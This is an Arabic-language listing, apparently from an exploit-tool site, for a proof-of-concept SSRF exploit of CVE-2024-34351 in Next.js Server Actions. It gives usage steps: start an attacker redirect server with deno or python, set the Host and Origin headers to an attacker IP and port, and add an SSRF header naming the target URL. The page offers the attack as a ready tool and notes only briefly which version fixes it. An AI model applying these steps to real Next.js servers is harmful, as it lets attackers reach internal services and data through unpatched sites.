استغلال CVE-2024-34351

• PoC لـ CVE-2024-34351
• ثغرة تزوير الطلبات من جانب الخادم في Next.js ضمن Server Actions · CVE-2024-34351 · قاعدة بيانات GitHub الاستشارية
• التنقيب عن SSRF في تطبيقات NextJS

الملخص

PoC لاستغلال كامل لثغرة SSRF في NextJS. يمكن للمهاجم الحصول على محتوى أي موقع ويب من خادم Next.js باستخدام ثغرة CVE-2024-34351. تم إصلاح هذه الثغرة في [email protected].

الاستخدام

• قم بإعداد خادم إعادة توجيه.
  • TypeScript
    root@kitploit:~

    deno run --allow-net --allow-read attacker-server.ts
    

  • Python
    root@kitploit:~

    python3 attacker-server.py
    

• عدّل ترويسة Host إلى الخادم المهاجم. (مثال: Host: 192.198.0.144:8000)
• عدّل ترويسة Origin إلى الخادم المهاجم. (مثال: Origin: http://192.198.0.144:8000/)
• أضف ترويسة جديدة باسم SSRF لتحديد الوجهة التي سيتم إعادة التوجيه إليها. (مثال: SSRF: http://example.com/test)